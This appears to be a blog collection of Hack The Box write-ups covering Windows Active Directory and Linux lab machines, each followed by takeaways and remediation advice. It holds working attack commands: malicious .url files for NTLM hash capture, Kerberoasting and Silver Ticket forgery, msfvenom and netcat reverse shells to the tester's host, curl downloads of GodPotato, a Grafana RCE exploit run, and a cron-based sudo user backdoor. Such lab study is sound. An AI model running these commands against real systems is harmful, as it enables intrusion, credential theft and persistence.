    [Long-term] Implement a source code security review baseline for all web applications Define a secure development standard requiring code review of all file serving endpoints for path traversal vulnerabilities before deployment. Integrate SAST tooling into the CI/CD pipeline to detect CWE-22 patterns automatically. Include all internally developed web applications and Gitea repositories in regular security assessments.

  • WIDE writeup

    WIDE writeup

    Challenge name: WIDE

    Difficulty: Very Easy

    Challenge Scenario: We’ve received reports that Draeger has stashed a huge arsenal in the pocket dimension Flaggle Alpha. You’ve managed to smuggle a discarded access terminal to the Widely Inflated Dimension Editor from his headquarters, but the entry for the dimension has been encrypted. Can you make it inside and take control?

    Link: https://app.hackthebox.com/challenges/WIDE?tab=play_challenge

    Machine IP: N/A

    We were provided some files. Downloaded those and unzipped them. We get two files.

    When cat’ing them out we get jumbled characters. 

    Wide can be executed so I ran that and it gave me usage that I could run it against db.ex.

    When typing numbers it game more more information on the dimensions. When I tried 6, which would be Flaggle Alpha, it asks for a key as it is encrypted.

    We can use radare2 to map the binary.

    r2 -A wide

    Afl

    Pdf @ main

    Pdf @ sym.menu

    I’m not professional yet at reading this yet but there is a lot of comments and we can see a possible key.

    Copied that that and ran wide again pasting that and I was able to get the flag.

    GG

  • Breach writeup

    Breach writeup

    Box name: Breach

    Difficulty: Medium

    OS: Windows

    Overview: Breach is a medium difficulty Windows machine, where guest access to an SMB share is available. By leveraging write permissions on that SMB share, NTLMv2 hashes of a domain user are captured to obtain valid credentials. With access as a low-privileged domain user, a kerberoastable service account (svc_mssql) is revealed. After getting access to the service account, a Silver Ticket attack is performed to impersonate the Administrator user and gain access to Microsoft SQL Server. Through the xp_cmdshell feature, remote code execution is achieved as the svc_mssql service account. Finally, privilege escalation is performed by abusing the SeImpersonatePrivilege privilege.

    Link: https://app.hackthebox.com/machines/Breach?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.16.205

    The User flag for this Box is located in a non-standard directory, C:\share\transfer.

    Ran rustscan against the machine.

    I’ll check out SMB first.

    smbclient -N -L //10.129.16.205/ 

    Connecting to share we seem some interesting directories and users.

    smbclient //10.129.16.205/share

    This share is writable and interestingly julia’s directory was last updated at a completely different time than the others. Will see if we can capture a hash using NTLM coercion. Created a file pwn.url.

    [InternetShortcut]
    URL=http://10.10.16.27/
    IconFile=\\10.10.16.27\share\icon.ico
    IconIndex=1

    Ran responder.

    Sudo responder -I tun0

    Put the file in the SMB transfer directory and right away I got Julia’s hash.

    Saved the hash to a file and I was able to crack it with hashcat.

    hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

    julia.wong:Computer1

    Couldn’t get a shell or evilwinrm but earlier the machine told us the user.txt would be in the share and it is.

    Did further enumeration with the new creds we have. I was able to find the domain users.

    nxc ldap 10.129.16.205 -u julia.wong -p ‘Computer1’ –users

    Created a list with those users. Kerberoasted next though and we actually get a hash for svc_mssql.

    GetUserSPNs.py breach.vl/julia.wong:’Computer1′ -dc-ip 10.129.16.205 -request

    I was able to crack this successfully too.

    hashcat -m 13100 hash2.txt /usr/share/wordlists/rockyou.txt

    svc_mssql:Trustno1

    Did more enumeration but couldn’t find anything of importance. Ran bloodhound to see if it could guide me.

    bloodhound-python -u svc_mssql -p ‘Trustno1’ -d breach.vl -ns 10.129.16.205 -c All –zip

    I was stuck here and referred to the writeup. I missed the SPN in Bloodhound. Theres a MSSQL service definitely running.

    Originally as nmap didn’t pick it up it just went over my head. We can perform a Silver Ticket Attack. We can get the SID of the domain from bloodhound.

    ticketer.py -spn MSSQLSvc/breachdc.breach.vl -domain-sid S-1-5-21-2330692793-3312915120-706255856 -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain breach.vl -dc-ip 10.129.16.205 -user-id 500 Administrator

    Export the ticket.

    export KRB5CCNAME=Administrator.ccache

    Then we can connect to MSSQL and get a shell through it.

    mssqlclient.py -k breachdc.breach.vl

    Got a base64 revshell from https://www.revshells.com/

    When enumerating privileges, I noticed we have SeImpersonatePrivilege. Created meterpreter payload.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1338 -f exe -o shell.exe

    Set up listener in msfconsole.

    Downloaded it to victim machine.

     wget http://10.10.16.27/shell.exe -OutFile C:\Windows\Temp\shell.exe

    This didn’t work as Defender was blocking this. Tried doing more poking but I got stuck. I looked at the writeup again- Instead we can use a potato attack like GodPotato https://github.com/BeichenDream/GodPotato. Apparently wget is blocked but curl works. 

    cd C:\windows\tasks 

    curl http://10.10.16.27/GodPotato-NET4.exe -o GodPotato.exe 

    curl http://10.10.16.27/nc64.exe -o nc.exe

    .\GodPotato.exe -cmd “C:\windows\tasks\nc.exe 10.10.16.27 4444 -e cmd.exe”

    And we finally get a shell and can grab root.txt.

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified SMB ports. Checked SMB with anonymous access and found a readable and writable share directory with user folders including one for julia.wong that had been modified at a different time than the others, suggesting active use.

    smbclient -N -L //10.129.16.205/ smbclient //10.129.16.205/share

    2 – NTLM hash capture via malicious URL file The share transfer directory was writable. Created a malicious .url file referencing an attacker-controlled UNC path to trigger an NTLM authentication request when a user browsed the directory. Set up Responder and placed the file in julia.wong’s directory. Captured julia.wong’s NTLMv2 hash immediately. Cracked it with Hashcat using rockyou.

    sudo responder -I tun0 hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: julia.wong:Computer1

    3 – User flag and domain enumeration Retrieved user.txt from the SMB share as specified in the box notes. Enumerated domain users via LDAP with the new credentials and built a user list. Kerberoasted and received a TGS hash for svc_mssql. Cracked it with Hashcat.

    GetUserSPNs.py breach.vl/julia.wong:’Computer1′ -dc-ip 10.129.16.205 -request hashcat -m 13100 hash2.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: svc_mssql:Trustno1

    4 – Silver Ticket attack and MSSQL access Ran BloodHound and identified an MSSQL SPN registered to svc_mssql. Performed a Silver Ticket attack using the svc_mssql NTLM hash and domain SID to forge a Kerberos ticket impersonating the Administrator account for the MSSQLSvc service. Connected to MSSQL using the forged ticket and enabled xp_cmdshell to achieve code execution as svc_mssql.

    ticketer.py -spn MSSQLSvc/breachdc.breach.vl -domain-sid S-1-5-21-2330692793-3312915120-706255856 -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain breach.vl -dc-ip 10.129.16.205 -user-id 500 Administrator export KRB5CCNAME=Administrator.ccache mssqlclient.py -k breachdc.breach.vl

    5 – Privilege Escalation – GodPotato SeImpersonatePrivilege abuse Identified SeImpersonatePrivilege on the svc_mssql account. Attempted to download a Meterpreter payload via PowerShell wget but Defender blocked it. Switched to curl which bypassed the restriction. Downloaded GodPotato and nc64.exe to C:\Windows\Tasks and executed GodPotato to impersonate SYSTEM and spawn a reverse shell. Retrieved root.txt.

    curl http://10.10.16.27/GodPotato-NET4.exe -o GodPotato.exe .\GodPotato.exe -cmd “C:\windows\tasks\nc.exe 10.10.16.27 4444 -e cmd.exe”


    Key Takeaways

    1. Writable SMB share enabling NTLM hash capture – The share transfer directory allowed anonymous or guest write access, enabling placement of a malicious .url file that triggered NTLM authentication when browsed by a domain user. SMB shares must be restricted to the minimum required permissions and write access must require explicit authentication. Shares must never be writable by anonymous or guest accounts.
    2. Weak password crackable with rockyou – julia.wong – Julia’s NTLMv2 hash was cracked using the rockyou wordlist. Domain user passwords must meet complexity requirements that resist offline cracking. A captured NTLMv2 hash is only as secure as the underlying password and weak passwords make hash capture attacks immediately effective.
    3. Kerberoastable service account with a weak password – svc_mssql – The svc_mssql account had an SPN registered and used the well-known password Trustno1, crackable in seconds. Service accounts with SPNs must use passwords of at least 25 randomly generated characters to make offline Kerberoast cracking computationally infeasible. Consider using Group Managed Service Accounts to automate password rotation.
    4. Silver Ticket attack enabled by service account hash – The svc_mssql NTLM hash obtained via Kerberoasting was sufficient to forge Silver Tickets impersonating any domain user for the MSSQL service without contacting the domain controller. Service account password compromise in a Silver Ticket context bypasses all domain-level monitoring. Rotating the svc_mssql password immediately is critical.
    5. SeImpersonatePrivilege on an MSSQL service account enabling SYSTEM escalation – The svc_mssql service account held SeImpersonatePrivilege, allowing a potato-style attack to impersonate SYSTEM. MSSQL service accounts must run under a dedicated least-privilege gMSA without SeImpersonatePrivilege and must be explicitly removed from any group granting this right.

    Remediation

    [Immediate] Restrict SMB share write permissions Remove anonymous and guest write access from all SMB shares immediately. Require explicit authenticated authorization for write access and restrict the transfer directory to only the users with an operational requirement. Implement monitoring to alert on .url, .lnk, and .scf files being created on SMB shares as these are indicators of hash capture attempts.

    [Immediate] Rotate all compromised credentials and enforce strong passwords Rotate julia.wong and svc_mssql passwords immediately. Implement a Fine-Grained Password Policy requiring a minimum of 15 characters with complexity for all domain accounts and a minimum of 25 randomly generated characters for all service accounts. Deploy a banned password list blocking Trustno1, Computer1, and similar common patterns.

    [Immediate] Migrate svc_mssql to a Group Managed Service Account Replace the svc_mssql standard user account with a gMSA to automate password rotation and eliminate the risk of Kerberoasting. gMSA passwords are 240 characters randomly generated and rotated automatically. Remove SeImpersonatePrivilege from the MSSQL service account by running MSSQL under a properly configured gMSA with the minimum required permissions.

    [Immediate] Disable xp_cmdshell and restrict MSSQL surface Disable xp_cmdshell on all MSSQL instances where it is not explicitly required for a documented operational function. Audit all other dangerous MSSQL features including xp_dirtree, Ole Automation Procedures, and linked servers and disable any that are not required. Restrict MSSQL network access to authorized application servers only.

    [Short-term] Implement Silver Ticket detection and Kerberos monitoring Deploy SIEM detection rules for Silver Ticket indicators including Kerberos service ticket requests that bypass the KDC and authentication events using tickets with anomalous attributes. Enable advanced Kerberos audit logging on all domain controllers. Run BloodHound regularly to identify Kerberoastable accounts and prioritize remediating those with weak or crackable passwords.

    [Long-term] Implement a tiered service account governance program Define a policy requiring all service accounts to use gMSAs where technically feasible, with regular audits of all accounts holding SPNs. Establish SLAs for remediating Kerberoastable accounts with weak passwords. Include MSSQL security configuration, SMB share permissions, and Silver Ticket attack paths in the regular penetration testing scope.

  • Cascade writeup

    Cascade writeup

    Box name: Cascade

    Difficulty: Medium

    OS: Windows

    Overview: Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP anonymous binds are enabled, and enumeration yields the password for user r.thompson, which gives access to a TightVNC registry backup. The backup is decrypted to gain the password for s.smith. This user has access to a .NET executable, which after decompilation and source code analysis reveals the password for the ArkSvc account. This account belongs to the AD Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user accounts is found to contain a hardcoded password, which can be reused to login as the primary domain administrator.

    Link: https://app.hackthebox.com/machines/Cascade?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.15.29

    Ran rustscan against the machine.

    rustscan -a 10.129.15.29 –ulimit 5000 -b 2000 — -A -Pn

    AD machine. Let’s check out ldap first.

    ldapsearch -x -H ldap://10.129.15.29:389 -b “dc=cascade,dc=local”

    I got a bunch of information. Created a list for users. Onmm Ryan Thompson’s information we get a cascadeLegacyPwd that looks interesting.

    Base64 so I decoded it.

    r.thompson:rY4n5eva

    I figured this would be his password but I password sprayed it anyways incase.

    nxc ldap cascade.local -u users.txt -p ‘rY4n5eva’ –continue-on-success

    Checked out shares with the new creds we have.

    nxc smb cascade.local -u “r.thompson” -p “rY4n5eva” –shares

    Checked out Data and downloaded all of that to my machine.

    smbclient //10.129.15.29/Data -U r.thompson

    Read through these files. There’s a AD Recycle bin which is interesting.

    Also saw a VNC install.reg file in s.smith’s folder.

    I also found some meeting notes file as well that references a TempAdmin that was used during a migration. My bet is it has to do the recycle bin realier.

    Did some research and found this to decrypt the VNC creds https://github.com/billchaison/VNCDecrypt.

    s.smith:sT333ve2

    Password sprayed it anyways but it’s only s.smiths creds. Checked what shares s.smith has access to.

    nxc smb cascade.local -u “s.smith” -p “sT333ve2” –shares

    We have access to audit this time. I checked really quick if we had access to anything additional in Data but we do not. Let’s check Audit.

    smbclient //10.129.15.29/Audit$ -U “s.smith”

    Not sure what exactly the CascAudit does yet. Checked Audit.db and RunAudit.bat. In these files there appears to be a possible credential but we will need to reverse engineer what the binary is doing.

    Grabbed CascAudit.exe and CascCrypto.dll.

    ilspycmd CascAudit.exe > CascAudit.cs 

    ilspycmd CascCrypto.dll > CascCrypto.cs

    Read through the file but unfortunately I am not that great at reading code yet. I do plan to get better but in this case I just had AI read the code and write me a decrypter.

    python3 - <<'EOF'
    from base64 import b64decode
    from Crypto.Cipher import AES
    key = b"c4scadek3y654321"
    iv  = b"1tdyjCbY1Ix49842"
    ct  = b64decode("BQO5l5Kj9MdErXx6Q6AGOw==")
    pt  = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
    print(pt)
    EOF

    arksvc:w3lc0meFr31nd

    Evilwinrm’ed in and I was able to get the password when checking out TempAdmin.

    evil-winrm -i 10.129.15.29 -u arksvc -p ‘w3lc0meFr31nd’

    Get-ADObject -Filter ‘SamAccountName -eq “TempAdmin”‘ -IncludeDeletedObjects -Properties *

    Decoded it.

    And they mentioned that the password for this is the same as the administrator so I tried that out and we got in and got root.txt. Also went back to find user.txt which was in C:\Users\s.smith\Desktop.

    evil-winrm -i 10.129.15.29 -u administrator -p ‘baCT3r1aN00dles’

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine configured as a Domain Controller. Ran an anonymous LDAP search and retrieved full domain information. Enumerated all users and found a cascadeLegacyPwd attribute on r.thompson’s account containing a base64-encoded value. Decoded it to recover a plaintext password.

    rustscan -a 10.129.15.29 –ulimit 5000 -b 2000 — -A -Pn ldapsearch -x -H ldap://10.129.15.29:389 -b “dc=cascade,dc=local”

    Credentials recovered: r.thompson:rY4n5eva

    2 – SMB enumeration and VNC credential discovery Sprayed the recovered password across all users to confirm it was unique to r.thompson. Enumerated SMB shares and downloaded all content from the Data share. Found a VNC install registry backup file in s.smith’s folder and meeting notes referencing a TempAdmin account used during a migration and the AD Recycle Bin. Used a public VNC credential decryption tool to recover s.smith’s password from the registry backup.

    smbclient //10.129.15.29/Data -U r.thompson

    Credentials recovered: s.smith:sT333ve2

    3 – Audit share and .NET binary reverse engineering Enumerated shares as s.smith and found access to an Audit$ share. Downloaded CascAudit.exe and CascCrypto.dll. Decompiled both using ilspy-cmd. Extracted the AES key, IV, and encrypted credential from the source. Wrote a Python decryption script to recover the arksvc account password.

    ilspycmd CascAudit.exe > CascAudit.cs ilspycmd CascCrypto.dll > CascCrypto.cs

    Credentials recovered: arksvc:w3lc0meFr31nd

    4 – AD Recycle Bin enumeration and TempAdmin credential recovery Authenticated via evil-winrm as arksvc. Leveraged the account’s AD Recycle Bin group membership to enumerate deleted AD objects. Found the TempAdmin account in the recycle bin with a base64-encoded legacy password attribute. Decoded it and recovered the plaintext password.

    Get-ADObject -Filter ‘SamAccountName -eq “TempAdmin”‘ -IncludeDeletedObjects -Properties *

    5 – Domain Administrator access The meeting notes had stated that TempAdmin used the same password as the domain Administrator. Used the recovered password with evil-winrm to authenticate as Administrator and retrieved root.txt. Also retrieved user.txt from s.smith’s desktop.

    evil-winrm -i 10.129.15.29 -u administrator -p ‘baCT3r1aN00dles’


    Key Takeaways

    1. Anonymous LDAP bind exposing custom password attribute – The domain controller allowed unauthenticated LDAP queries and r.thompson’s account had a cascadeLegacyPwd attribute containing a base64-encoded password readable by any anonymous query. Custom LDAP attributes must never store credential data and anonymous LDAP bind must be disabled on all domain controllers.
    2. VNC encrypted credentials stored in an SMB-accessible registry backup – A TightVNC registry backup file containing an encrypted password was stored in a user’s folder on a world-readable SMB share. The VNC encryption uses a static key making recovery trivial with public tools. Encrypted credential files using known static keys must be treated as plaintext and must not be stored on accessible shares.
    3. AES encryption key and IV hardcoded in a .NET binary – CascAudit.exe and CascCrypto.dll contained hardcoded AES key material used to encrypt the arksvc credentials. Once the binary was decompiled the decryption was trivial. Encryption key material must never be hardcoded in application binaries and credentials must be stored using a secrets management solution rather than reversible encryption with embedded keys.
    4. Deleted AD object retaining sensitive credential data – The TempAdmin account in the AD Recycle Bin retained a legacy password attribute containing a credential that matched the current domain Administrator password. Deleted AD objects must be audited for sensitive attributes before deletion and legacy password attributes must be cleared. The AD Recycle Bin must not be used as a substitute for proper credential lifecycle management.
    5. Password reuse between a temporary admin account and the domain Administrator – The TempAdmin and Administrator accounts shared the same password. Temporary accounts must always use unique credentials and the domain Administrator password must be rotated immediately after any temporary account using the same credential is decommissioned.

    Remediation

    [Immediate] Disable anonymous LDAP bind and remove the cascadeLegacyPwd attribute Configure all domain controllers to require authentication for LDAP queries and enforce LDAP signing and channel binding via Group Policy. Audit all AD user objects for custom attributes containing credential data using a script scanning all non-standard attributes. Remove any findings and rotate all affected credentials immediately.

    [Immediate] Remove the VNC registry backup from the SMB share and rotate s.smith’s credentials Delete the VNC install.reg file from the Data share immediately. Rotate s.smith’s password and audit all SMB shares for files containing encrypted or encoded credential material. Implement DLP controls to detect credential patterns in files written to shared locations.

    [Immediate] Remove hardcoded AES key material from CascAudit.exe and rotate arksvc credentials Remove the hardcoded key and IV from CascCrypto.dll and rewrite the application to load encryption keys from a secrets management solution at runtime. Rotate the arksvc password immediately. Conduct a code review of all internal .NET binaries for embedded credentials and cryptographic key material.

    [Immediate] Audit AD Recycle Bin for sensitive attributes on deleted objects Enumerate all objects in the AD Recycle Bin for legacy password attributes, description fields, and any other attributes containing credential data. Clear sensitive attributes from all deleted objects before they are permanently purged. Rotate the domain Administrator password immediately as TempAdmin shared this credential.

    [Immediate] Rotate the domain Administrator password The Administrator password must be considered fully compromised as it was shared with a temporary account recoverable from the AD Recycle Bin. Rotate it immediately to a randomly generated string of at least 25 characters managed through a PAM solution. Audit all other accounts for password reuse against the recovered value.

    [Long-term] Implement a credential lifecycle and AD hygiene program Define a policy requiring temporary accounts to use unique randomly generated passwords that are never reused from or shared with permanent privileged accounts. Establish a recurring AD hygiene process covering custom attribute auditing, recycle bin review, share permission audits, and internal binary credential scanning. Include Active Directory and internal application binaries in the regular penetration testing scope.

  • Monteverde writeup

    Monteverde writeup

    Box name: Monteverde

    Difficulty: Medium

    OS: Windows

    Overview: Monteverde is a Medium Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the SABatchJobs service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the $users share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as mhope using WinRM. Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).

    Link: https://app.hackthebox.com/machines/Monteverde?tab=machine_info&sort_by=created_at&sort_type=desc

    Machine IP: 10.129.228.111

    Ran rustscan against the machine.

    rustscan -a 10.129.228.111 –ulimit 5000 -b 2000 — -A -Pn

    I knew it’d be an AD machine considering I’m doing this as practice for PNPT. Domain is MEGABANK.LOCAL according to the scan. Lldap usually does my wonders so I tried that first.

    ldapsearch -x -H ldap://10.129.228.111:389 -b “dc=MEGABANK,dc=local”

    And it did give me a bunch of information. One thing that is interesting is Azure Admins.

    Other groups show potentially that this is using ADSync such as ADSyncPasswordSet, ADSyncBrowse, etc. I have some familiarity as some of my clients use this. There is also a ADsync service account and a SQL database is appears.

    Created a list of all the users in users.txt. I tried a bunch of different enumeration, password bruteforcing, etc and what worked was attempting to use the username as the password in a spray.

    crackmapexec smb 10.129.228.111 -u users.txt -p users.txt –no-bruteforce –continue-on-success

    SABatchJobs:SABatchJobs

    Did more enumeration with these credentials. What is most interesting is a file share I found called azure_uploads.

    crackmapexec smb 10.129.228.111 -u ‘SABatchJobs’ -p ‘SABatchJobs’ –shares

    smbclient //10.129.228.111/azure_uploads -U SABatchJobs

    Unfortunately that had nothing. Checked out the users directory next.

    smbclient //10.129.228.111/users$ -U SABatchJobs

    Checked all the directories out. Only mhope had a file azure.xml. Grabbed that.

    Read that and we got some credentials.

    mhope:4n0therD4y@n0th3r$

    Checked out shares again.

    crackmapexec smb 10.129.228.111 -u ‘mhope’ -p ‘4n0therD4y@n0th3r$’ –shares

    Nothing new from what I could see. Evil-winrmed into the device and got user.txt.

    Started bloodhound and ran bloodhound python to get information so we can find an avenue of attack.

    bloodhound-python -u ‘mhope’ -p ‘4n0therD4y@n0th3r$’ -d MEGABANK.local -ns 10.129.228.111 -c All –zip

    Uploaded the output. Ran some queries for a while but I could not find any path suitable for us. Got a shell again with Evil-winrm and uploaded winPEAS. Ran that. Everything is just pointing to Azure AD Connect.

    After having some issues with finding how to extract it I asked Claude and it told me about a XPN’s script.

    wget https://gist.githubusercontent.com/xpn/0dc393e944d8733e3c63023968583545/raw -O azuread_decrypt_msol.ps1

    Had to edit the script so it points to the proper database as the original script points to a local db.

    powershell -ep bypass -c “. .\azuread_decrypt_msol.ps1”

    And we get the token.

    administrator:d0m@in4dminyeah!

    I was then able to evil-winrm in with these credentials successfully and got root.txt.

    evil-winrm -i 10.129.228.111 -u ‘administrator’ -p ‘d0m@in4dminyeah!’

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with the domain MEGABANK.LOCAL. Ran an anonymous LDAP search and retrieved a large amount of domain information including user accounts, groups, and indications of Azure AD Connect through group names such as ADSyncPasswordSet and ADSyncBrowse. Built a full user list from the LDAP output.

    rustscan -a 10.129.228.111 –ulimit 5000 -b 2000 — -A -Pn ldapsearch -x -H ldap://10.129.228.111:389 -b “dc=MEGABANK,dc=local”

    2 – Password spray with username as password Tried various enumeration and brute force approaches with no success. Sprayed the user list against itself using CrackMapExec with the username as the password for each account. SABatchJobs authenticated successfully.

    crackmapexec smb 10.129.228.111 -u users.txt -p users.txt –no-bruteforce –continue-on-success

    Credentials recovered: SABatchJobs:SABatchJobs

    3 – SMB enumeration and credential discovery Enumerated SMB shares with the SABatchJobs credentials and found azure_uploads and users$ shares. The azure_uploads share was empty. The users$ share was world-readable and contained a directory for mhope with an azure.xml file. Read the file and recovered plaintext credentials.

    smbclient //10.129.228.111/users$ -U SABatchJobs

    Credentials recovered: mhope:4n0therD4y@n0th3r$

    4 – WinRM access and user flag Authenticated via evil-winrm as mhope and retrieved user.txt.

    evil-winrm -i 10.129.228.111 -u mhope -p ‘4n0therD4y@n0th3r$’

    5 – Privilege Escalation – Azure AD Connect credential extraction Ran BloodHound and WinPEAS both pointing to Azure AD Connect as the escalation path. Used XPN’s public PowerShell script to extract the MSOL service account credentials from the Azure AD Connect database, modifying the script to point to the correct local database path. Recovered the domain administrator password used by the ADSync service account for directory replication.

    powershell -ep bypass -c “. .\azuread_decrypt_msol.ps1”

    Credentials recovered: administrator:d0m@in4dminyeah!

    6 – Domain Administrator access Authenticated via evil-winrm as Administrator and retrieved root.txt.

    evil-winrm -i 10.129.228.111 -u ‘administrator’ -p ‘d0m@in4dminyeah!’


    Key Takeaways

    1. Anonymous LDAP bind exposing full domain enumeration – The domain controller allowed unauthenticated LDAP queries returning all domain users, groups, and service account information including Azure AD Connect group membership. Anonymous LDAP bind must be disabled and LDAP signing and channel binding must be enforced on all domain controllers.
    2. Service account using username as password – SABatchJobs was configured with its own username as its password, which is trivially discovered through a username-as-password spray. Service accounts must use long randomly generated passwords managed through a PAM solution and must never use predictable values derived from the account name.
    3. Plaintext credentials stored in an SMB-accessible XML file – The azure.xml file in mhope’s user directory on the users$ share contained plaintext credentials. Sensitive configuration files containing credentials must never be stored on SMB shares and must be access-controlled to only the owning user or service.
    4. World-readable users$ share – The users$ share was readable by the SABatchJobs service account, exposing all user home directories and their contents. SMB shares must be restricted to only the users who have an operational requirement to access them and must never be world-readable.
    5. Azure AD Connect storing recoverable administrator credentials – The Azure AD Connect MSOL service account credentials were stored in a local database in a recoverable form, and the script to decrypt them is publicly available. Any account with local access to the Azure AD Connect server can extract domain administrator credentials. Azure AD Connect servers must be treated as tier-0 assets with the same controls as domain controllers.

    Remediation

    [Immediate] Disable anonymous LDAP bind Configure all domain controllers to require authentication for LDAP queries. Enforce LDAP signing and channel binding via Group Policy and set dsHeuristics to disable anonymous access. This prevents unauthenticated enumeration of users, groups, and service account details.

    [Immediate] Rotate SABatchJobs and all other service account passwords Rotate the SABatchJobs password immediately to a randomly generated string of at least 25 characters. Audit all service accounts for username-as-password or other predictable credential patterns and force resets. Deploy Group Managed Service Accounts for all service accounts to automate password management.

    [Immediate] Remove the azure.xml file and rotate mhope’s credentials Delete the azure.xml file from the SMB share immediately and rotate the mhope account password. Audit all user directories on all SMB shares for files containing credential material and remove any findings. Implement a DLP control to detect credential patterns in files written to shared locations.

    [Immediate] Restrict the users$ share permissions Remove world-readable access from the users$ share. Each user directory must be accessible only to the owning user and domain administrators. Audit all SMB share permissions across the environment and apply the principle of least privilege to all share ACLs.

    [Immediate] Treat the Azure AD Connect server as a tier-0 asset Apply domain controller level access controls to the Azure AD Connect server. Restrict local logon and remote management to dedicated tier-0 administrator accounts only. Monitor all access to the Azure AD Connect database and alert on any script or process attempting to read MSOL credentials. Rotate the MSOL service account password immediately using the documented Microsoft procedure.

    [Long-term] Implement tiered Active Directory administration and Azure AD Connect hardening Adopt a tiered AD model ensuring Azure AD Connect servers are in tier-0 alongside domain controllers. Define a hardening standard covering LDAP security, share permissions, service account credential management, and Azure AD Connect access controls. Include Azure AD Connect infrastructure in the regular penetration testing scope and deploy BloodHound continuously to monitor for new privilege escalation paths.

  • Planning writeup

    Planning writeup

    Box name: Planning

    Difficulty: Easy

    OS: Linux

    Overview: Planning is an easy difficulty Linux machine that features web enumeration, subdomain fuzzing, and exploitation of a vulnerable Grafana instance to CVE-2024-9264. After gaining initial access to a Docker container, an exposed password enables lateral movement to the host system due to password reuse. Finally, a custom cron management application with root privileges can be leveraged to achieve full system compromise.

    Link: https://app.hackthebox.com/machines/Planning?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.237.241

    As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

    Scanned the machine with rustscan.

    rustscan -a 10.129.237.241 –ulimit 5000 -b 2000 — -A -Pn

    Tried the admin creds given to us on ssh but to no avail. Added planning.htb to /etc/hosts. Navigated to that site.

    Ran feroxbuster and ffuf to directory bust and vhost fuzz.

    feroxbuster -u http://10.129.237.241 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    ffuf -u http://planning.htb -H “Host: FUZZ.planning.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

    Reviewed source code, nothing interesting besides possible usernames under instructors.

    Scans not finding anything yet. No /robots.txt. Reran feroxbuster with the DNS name and was getting stuff back.

    feroxbuster -u http://planning.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

    While that runs I scanned UDP just to see if I’m missing anything.

    nmap -sU –top-ports 100 10.129.237.241

    Scanned for subdomains too.

    ffuf -u http://FUZZ.planning.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

    I could not find anything after a while so I peeked at the writeup. Turns out there is a subdomain grafana which is not in that huge list that I ran. Instead we could just run with bitquark list.

    ffuf -u http://FUZZ.planning.htb -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

    Added that to /etc/hosts. Navigated to the site.

    We get a version Grafana v11.0.0. The admin credentials provided for the box worked. admin:0D5oT70Fq13EvB5r

    Did research and found this version is vulnerable to RCE via SQL expressions CVE-2024-9264 https://grafana.com/blog/grafana-security-release-critical-severity-fix-for-cve-2024-9264/. Github exploit here https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit. Read through the exploit, downloaded it and ran it with a netcat listener and I got a shell.

    python CVE-2024-9264.py –url http://grafana.planning.htb –username admin –password 0D5oT70Fq13EvB5r –reverse-ip 10.10.16.27 –reverse-port 1337

    Couldn’t stabilize that normal way. Also couldn’t run sudo -l because there is no command. When I ran hostname it was just a 12 character hex which points to me being contained in docker. Originally I was trying some things to escape the docker but I wasn’t getting anywhere so I was thinking maybe there’s something here like credentials I can find that I can just use on ssh later. I was able to find the grafana.db

    find / -type f \( -iname “*.sql” -o -iname “*.db” -o -iname “*.sqlite” -o -iname “*.sqlite3” -o -iname “*.mdb” -o -iname “*.accdb” \) 2>/dev/null | grep -vE “/usr/(lib|share)|/proc”

    Nothing important when reading that out. I ran through everything in my linux enumeration notes and finally I found credentials using env.

    enzo:RioTecRANDEntANT!

    Using this for SSH worked.

    No sudo -l. Did my normal manual local enumeration and when enumerating the network I see an interesting port 8000 that is only opened internally that we haven’t seen before.

    Port forwarded for just port 8000 using ssh.

    ssh enzo@planning.htb -L 8000:127.0.0.1:8000

    Navigated to it but it asks us for a sign in and the credentials we have don’t work for admin or enzo.

    Forgot to grab user.txt so grabbed that really quick. Poked around further and I found a crontabs directory in /opt which isn’t normal. Inside that it had a .db with credentials in it.

    Tried these credentials to ssh into root and didn’t work. Tried it on the site on port 8000 and it got me in.

    root:P4ssw0rdS0pRi0T3c

    I tried catching a revshell but I couldn’t I don’t think the box can actually reach me. As that wasn’t working I had the cronjob just create a new user with sudo privs.

    useradd -m -G sudo -s /bin/bash kami && echo ‘kami:Password123’ | chpasswd

    Ran that job. Confirmed it created that account. Switched user. Switched to root and grabbed the flag.

    GG

  • MonitorsFour

    MonitorsFour writeup

    Box name: MonitorsFour

    Difficulty: Easy

    OS: Windows

    Overview: Did on release

    Link: https://app.hackthebox.com/machines/MonitorsFour?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.15.15

    Ran rustscan against the machine.

    rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn

    Navigated to the webserver on 80. Had to add monitousfout.htb  to /etc/hosts.

    Ran feroxbuster while I poke around.

    feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

